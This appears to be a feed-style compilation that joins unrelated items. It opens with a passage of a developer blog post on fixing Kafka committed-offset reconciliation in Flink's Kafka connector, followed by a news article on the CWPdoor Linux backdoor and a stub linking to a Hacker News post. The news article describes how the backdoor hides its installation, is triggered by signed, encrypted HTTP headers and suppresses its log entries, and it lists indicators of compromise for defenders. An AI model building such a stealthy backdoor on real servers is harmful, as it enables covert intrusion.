  1. At the end of each fetch() , I recorded the offset of the last record handed to the reader for each partition .
  2. When a checkpoint completes and the offsets are about to be committed, reconcileOffsetsToCommit checks each partition . If the checkpointed offset is exactly the last fetched offset + 1 , then the checkpoint includes every record the consumer has delivered. Anything between that and the consumer’s position must be entries that were never going to be delivered. In that case, it’s safe to advance the offset to the consumer position .

That lastFetchedOffset + 1 check was the main idea, to stop the committed offset skipping over records that have been fetched but not yet checkpointed.

if checkpoint offset == last fetched offset + 1
then commit the consumer position

If we’re caught up…

1 == 0 + 1

Nothing is waiting in the queue, so commit the consumer position: 2

If there are still fetched records in the queue…

2 != 2 + 1

Record 2 isn’t in the checkpoint, so commit the checkpoint’s offset: 2

It also skips partitions no longer assigned to the consumer, and bounded splits that are still running .

This fix worked for a variety of scenarios that I came up with , such as single-record transactions, multi-record transactions, committed transactions followed by aborted transactions, several transactions in a row, and interleaved transactions from two producers.

Part of the motivation for this approach was in deciding what to commit as late as possible, at the time of committing the offset. At first, I did this by asking the consumer for its position at commit time. But recording it during the fetch avoided an extra call to the consumer that could block. Following a review discussion on my approach , I added another test scenario showing what would happen on an idle topic where no more records come after a transaction marker .

poll records returned emitter runs split’s offset consumer position
poll 1 record 0 yes 1 1
poll 2 record 1 yes 2 2
poll 3 none (marker) no 2 3

If you decide what to commit as records are emitted, then because poll 3 has no records, the emitter is never called and the offset stays at 2. The commit will lag until more data arrives.

By deciding when the commit happens, it can use the position from the most recent poll, whether or not it returned any records. The committed offset can be 3, with no lag.

At that point, I thought I’d fixed it. But reviews showed that I’d missed a few related bugs.

Flink and Kafka disagreeing about the committed offset

Flink has its own metrics, including metrics from the Kafka connector . That has a committedOffset metric with the last successfully committed offset to Kafka for each partition.

A reviewer pointed out that my fix made Flink contradict itself . The commit callback ignored the offsets passed to it , and recorded the offsets that had been requested instead. That had always been fine, because the two were always the same. Once my split reader started changing the offsets on their way to Kafka , they weren’t the same. Kafka would say the committed offset was 2 while Flink’s own metric said 1.

I had another go, and updated the fix so the callback records the offsets that were actually committed , so Flink’s metrics and Kafka committed offsets now agree.

Partitions that never deliver a record

A reviewer pointed out another gap . My reconcile check depended on a last-fetched offset . But what about partitions where nothing has ever been delivered?

For example, a partition holding only an aborted transaction (aborted records at offsets 0 to 5, the abort marker at 6), read by a split whose starting offset is 0, such as a job started with OffsetsInitializer.latest() before anything was written to the partition:

In this case, the Kafka source reader is fully caught up on the topic, but in every checkpoint Flink commits offset 0, so from Kafka’s perspective the consumer has a lag of 7 until a Kafka producer writes a committed record to move it on.

That wasn’t one of the scenarios I’d come up with, but it was a worse version of the original bug than FLINK-33484 reported.

The reader is fully caught up, but every checkpoint commits 0, and monitoring would report a lag of 7 until someone writes a committed record.

I tweaked my check so that a partition with no fetched records can still be advanced to the consumer position . If nothing has been fetched, nothing can be waiting un-checkpointed in the queue.

The placeholder offset

That last example assumed the split started at a real offset. A split using the default OffsetsInitializer.earliest() doesn’t have a real offset.

EARLIEST_OFFSET is a constant representing a split starting from the earliest offset on a partition. It’s a placeholder, represented by -2 .

A review pointed out that I hadn’t thought of that . The split keeps that placeholder until the first record is emitted . This meant Flink wouldn’t commit any offset for this partition until a record is emitted. It was another type of “no record delivered” scenario.

My next attempt recognised these negative offset placeholders so that I could track those partitions-without-offsets alongside the offsets. The split reader could then safely commit the consumer position for them , because it couldn’t have fetched any records that the checkpoint didn’t include.

Before:

  • Split state
    • offset = EARLIEST_OFFSET
      placeholder (-2) until record is emitted
  • snapshotState
    • negative offset
      so the split is skipped
  • no records fetched – nothing to commit
  • Kafka
    • no offsets are committed for this partition

Now:

  • Split state
    • offset = EARLIEST_OFFSET
      placeholder (-2) until record is emitted
  • snapshotState
    • records the partition as a partition without an offset
  • no records fetched – commit the consumer position
  • Kafka
    • committed offset = 7

Moving backwards

Another review comment and another problem scenario spotted.

Consider a topic with a transactional record at offset 0 with a commit marker at offset 1.

The reader emits the record at offset 0

The consumer moves to position 2, past the transaction marker.

No offsets are committed to Kafka yet.

Checkpoint 1 snapshots offset 1.

Reconciliation advances it.

Offset 2 is committed to Kafka.

Checkpoint 2 snapshots offset 1 (again).

The offset committed to Kafka is still 2

The partition was idle, but before the checkpoint completes…

A new record arrives at offset 2.

The record is fetched.

The raw checkpointed offset, 1 , would be committed to Kafka

The offset committed to Kafka went backwards, from 2 to 1. This is the sort of thing that if it happened for real you’d hope would trigger some alert somewhere because that’s a weird sign.

The split reader now stores the offset it last committed for each assigned partition , so it can leave a partition out of a commit rather than commit a lower offset.

How it works now

Those are the kinds of things that I changed along the way – there were others, but let me skip to the end and describe where I ended up.

This is what happens to a committed offset now, from fetch to Kafka.

While fetching

On the split fetcher thread, KafkaPartitionSplitReader.fetch() polls the consumer .

For each partition it records:

KafkaRecordEmitter sets each split’s current offset to the offset after the record it emits .

When Flink takes a checkpoint

KafkaSourceReader.snapshotState collects each split’s current offset to commit .

Splits that are still at a starting placeholder such as EARLIEST_OFFSET have no real offset yet, so their partitions are now recorded separately for that checkpoint.

When a checkpoint completes

The reader enqueues a commit task on the split fetcher , with the checkpoint’s offsets and its partitions with no offset.

The commit task runs on the fetcher thread (the only thread that touches the consumer) and reconciles them before committing :

  • For a partition with a checkpointed offset, if the checkpoint covers every record fetched so far (or none have been fetched) and the consumer position is further ahead, the offset is advanced to the consumer position
  • For a partition with no offset, the consumer position is committed, as long as no records have been fetched for it
  • Partitions that are no longer assigned, and bounded splits that are still running, aren’t moved to the consumer position
  • Any partition whose offset would be lower than the one last committed is left out, so while a partition stays assigned to a reader, its committed offset doesn’t move backwards. The offsets being committed are recorded as soon as the commit is sent.

If nothing is left to commit, the callback is called without a round trip to Kafka .

When a bounded split finishes

It’s committed with the next checkpoint . I changed this to use its stopping offset (when that’s a concrete offset) instead of the offset after its last emitted record, unless the split never left its starting placeholder.

When the Kafka commit completes

The callback records Flink’s committedOffset metric from the offsets Kafka actually received, so Flink’s metrics and Kafka’s tooling agree.

If partitions are unassigned

Their tracking state is removed .

Phew

None of my changes altered Flink’s processing guarantees. I didn’t change what goes into a checkpoint. This has all been about the offsets committed to Kafka (and Flink’s committedOffset metric so they are consistent).

When the checkpoint covers everything the consumer has delivered, the committed offsets for unbounded splits now match the consumer’s position as of its most recent poll.

I hope.

Summary

I thought I was just picking up a simple off-by-one fix for Flink jobs on transactional topics. I think I even described this as “a quick fix” when I started.

A series of reviews raised questions that were each a variation on the same theme: what if the partition has delivered nothing at all? What if the split hasn’t got a real offset yet? What if a record arrives between the checkpoint and the commit? What if the split is bounded?

The idea at the core of the fix didn’t change much from my first commit, but pretty much everything around it did. 🙂

This isn’t finished!

I’m not claiming that committed offsets are now right in every case. My pull request was about which offset gets committed when a commit happens. It doesn’t change what triggers a commit, or what happens if a commit is never triggered.

There are other aspects to consider. For example, FLINK-36532 is looking at stopping a job with a savepoint. The savepoint holds the source’s offsets, but they never reach Kafka. The pull request opened for it explains that the cause is the asynchronous design described above. When a checkpoint completes, the commit is queued as a task on the split fetcher. Stop-with-savepoint closes the reader straight after the savepoint completes, and the fetcher shuts down without running the queued task. The consumer group is left at an earlier checkpoint’s offsets, or with no committed offsets at all if no earlier commit ran.

The committed offset is a side channel. It’s best effort, it’s never allowed to fail the job, and Flink’s processing guarantees don’t cover it. This means no single piece of code is responsible for getting it right. Each step in a reader’s life (a checkpoint completing, a split finishing, a reader closing, a job restarting) decides for itself what reaches Kafka. I’ve described a few of those steps here. And I’ve shown how easy it was for me to miss steps!

Thanks

Huge thanks to Aleksandr , Martijn , Efrat , Arvid for their kind patience with me on this pull request – it was their reviews that found most of what I’ve written about here, and I learned a lot about the internals of Flink’s Kafka connector from the process.

Tags: , , ,

This entry was posted on Saturday, October 24th, 2026 at 4:33 pm and is filed under code . You can follow any responses to this entry through the RSS 2.0 feed. You can skip to the end and leave a response. Pinging is currently not allowed.

Hackers backdoor Linux servers using trojanized CWP web server

Bleeping Computer
www.bleepingcomputer.com
2026-11-05 11:24:26
A new Linux malware called CWPdoor is being distributed through a trojanized version of cwpsrv, the web server behind the Control Web Panel (CWP) management interface. [...]...
Original Article

Hackers backdoor Linux servers using trojanized CWP web server

A new Linux malware called CWPdoor is being distributed through a trojanized version of cwpsrv, the web server behind the Control Web Panel (CWP) management interface.

CWPdoor acts as a passive backdoor that sits dormant on the compromised system until the attacker sends a specially crafted request.

Researchers at XLab, the cybersecurity research arm of QiAnXin Technology Group, describe CWPdoor as "exceptionally stealthy" due to its passive triggering and log suppression feature.

image

CWP, formerly known as CentOS Web Panel, is an open-source web hosting administration solution similar to cPanel and Plesk that allows users to manage web servers and services such as email, DNS, and databases.

According to XLab, more than 340,000 CWP instances have been exposed on the public web over the past month.

The researchers discovered the CWPdoor malware on June 29 after capturing a script posing as an updater that replaced the legitimate 'cwpsrv' binary with a malicious version.

The script replaces cwpsrv versions 1.15.10 and 1.24.0, and takes several steps to hide the switch, like restoring file and directory timestamps, deleting temporary files, and wiping the command-history log.

Helper
Helper process
Source: Xlab

The malware operators activate the backdoor by sending it commands to be executed, in the form of an encrypted HTTP header (X-Ngx-Integrity-Data). The request also contains headers for the timestamp (X-Ngx-Integrity-Time) and the RSA signature (X-Ngx-Integrity-Sig).

Commands and their output are encrypted using the AES-256-CBC cipher to keep them protected.

The backdoor checks whether the timestamp falls within a five-minute window and verifies the RSA signature before decrypting the command and passing it to a helper process for execution.

“Changing either the timestamp or the ciphertext independently invalidates the signature,” XLab explains .

“By binding the three fields together and enforcing a ±300-second time window, the mechanism provides replay protection and authorization control.”

The backdoor also interferes with the server’s logging module to prevent the triggering request from appearing in the access logs.

Cleanup process
Cleanup of traces
Source: XLab

After finding the initial infection script, the researchers saw CWPdoor uploaded to VirusTotal on September 30 in an archive that included the Ebury backdoor.

What caught their attention was that the malicious cwpsrv file ( cwpsrv.suspeito ) in the archive had zero detections.

"This indicates that the campaign was not merely experimental: real victims already exist in the wild," the researchers say, adding that the connection between Ebury and CWPdoor remains unclear.

Ebury is a Linux backdoor and credential stealer botnet operation active since at least 2009. A report from cybersecurity company ESET in May 2024 said that the malware had infected nearly 400,000 servers since it emerged.

The researchers recommend that administrators check for the ngx_http_integrity_helper Unix socket, suspicious cwpsrv helper processes, and X-Ngx-Integrity strings in the server binary.

If a compromise is confirmed, replace the backdoored binary with a legitimate copy, upgrade to the latest version, rotate all control panel credentials, and investigate the host for additional malware.

article image

Uncover email threats your existing defenses may miss.

Adaptive Security's AI agents analyze email intent, context, and behavior to uncover phishing, business email compromise, and invoice fraud.

See what's getting through with a 14-day read-only scan of Microsoft 365 or Google Workspace, with no MX changes.

Start your free email security scan.

My psychophysics as a bilateral cochlear implant user

Hacker News
claude.ai
2026-11-05 11:21:12
Comments...
Original Article

Content is user-generated and unverified.